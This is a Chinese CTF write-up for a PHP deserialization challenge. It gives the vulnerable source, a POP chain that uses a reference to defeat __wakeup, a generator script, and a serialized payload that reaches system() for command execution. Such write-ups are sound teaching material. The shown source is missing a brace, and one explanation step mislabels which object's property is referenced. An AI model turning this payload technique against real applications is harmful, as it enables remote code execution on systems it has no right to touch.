ez_unserialize
考点:
1. PHP 的引用来绕过 __wakeup
2.命令行中执行
php -r 'phpinfo();',即可获得完整的phpinfo输出3.PHP 反序列化 POP 链的构造
源码和代码审计:
 <?php
show_source(__FILE__);
class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;
    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;
        $this->expired = False;
    }
    public function __wakeup() { //强行把expired设置False,之前碰到都是利用修改属性个数绕过,但师傅提示需通过引用绕过
        $this->expired = False;
    }
    public function expired() {
        if ($this->expired) { //如果expired为True
            $this->helper->clean($this->key);//clean?好像是一个不存在的方法,通过这个调用__call
            return True; //返回True
        } else {
            return False;
        }
    }
}
class Storage {
    public $store;
    public function __construct() {
        $this->store = array();//将一个空数组赋值给store
    }
    
    public function __set($name, $value) {//给不可访问属性赋值时被调用
        if (!$this->store) 
            $this->store = array();
        }
        if (!$value->expired()) {
            $this->store[$name] = $value;
        }
    }
    public function __get($name) {
        return $this->data[$name];
    }
}
class Helper {
    public $funcs;
    public function __construct($funcs) {
        $this->funcs = $funcs;//system函数
    }
    public function __call($name, $args) { //链子的尾,通过这个执行命令
        $this->funcs[$name](...$args);  //system('ls')等?
    }
}
class DataObject {
    public $storage;
    public $data;
    public function __destruct() {  //链子的头
        foreach ($this->data as $key => $value) {//遍历data数组,键key值value
            $this->storage->$key = $value;//将storage对象的$key属性赋值为$value,注意此时可以去触发Storage的__set方法.(给不可访问的属性赋值)
        }
    }
}
if (isset($_GET['u'])) {
    unserialize($_GET['u']);//反序列化
}
?> 
     
POP链:
DataObject.__destruct() -> Storage.__set() -> Cache.expired() -> Helper.__call()
构造代码:
<?php
class Cache{
    public $key;
    public$value;
    public$expired;
    public$helper;
}
class Storage{
    public $store;
}
class Helper{
    public$funcs;
}
class DataObject{
    public$storage;
    public$data;
}
$helper=new Helper();
$helper->funcs=array('clean'=>'system');
$cache1=new Cache();
$cache1->expired=False;
$cache2=new Cache();
$cache2->helper=$helper;
$cache2->key='php -r "phpinfo();"';
$storage=new Storage();
$storage->store=&$cache2->expired;
$dataObject=new DataObject();
$dataObject->data=array('key1'=>$cache1,'key2'=>$cache2);
$dataObject->storage=$storage;
echo serialize($dataObject);
?> 
解析:
- ⾸先我们往 dataObject 的 data ⾥⾯放⼊了两个 Cache 实例: cache1 和 cache2
 - 其中 cache2 指定了 helper, 其 key 设置成了要执⾏的命令 php -r 'phpinfo();' , helper 的 funcs 数组放⼊了 system 字符串
 - 然后我们让 storage 的 store 属性成为 cache2 expired 属性的引⽤
 - 这样, 在反序列化时, ⾸先会调⽤两个 Cache 的 __wakeup ⽅法, 将各⾃的 expired 设置为 False
 - 然后调⽤ dataObject 的 __destruct ⽅法, 从⽽调⽤ Storage 的 __set ⽅法
 - Storage ⾸先将 store (即 cache1 的 expired 属性) 初始化为⼀个空数组, 然后存⼊ cache1
 - 此时, store 不为空, 那么也就是说 cache1 的 expired 属性不为空
 - 然后来到 cache2, storage 的 __set ⽅法调⽤它的 expired ⽅法, 进⼊ if 判断
 - 因为此时 cache2 的 expired 字段, 也就是上⾯的 store, 已经被设置成了⼀个数组, 并且数组中存在 cache1 (不为空), 因此这⾥ if 表达式的结果为 True
 - 最后进⼊ helper 的 clean ⽅法, 执⾏ system('php -r 'phpinfo();''); 实现 RCE
 
paylaod:
?u=O:10:"DataObject":2:{s:7:"storage";O:7:"Storage":1:{s:5:"store";N;}s:4:"data";a:2:{s:4:"key1";O:5:"Cache":4:{s:3:"key";N;s:5:"value";N;s:7:"expired";b:0;s:6:"helper";N;}s:4:"key2";O:5:"Cache":4:{s:3:"key";s:19:"php -r "phpinfo();"";s:5:"value";N;s:7:"expired";R:3;s:6:"helper";O:6:"Helper":1:{s:5:"funcs";a:1:{s:5:"clean";s:6:"system";}}}}}
 
flag :

总结:
考点就是总结



















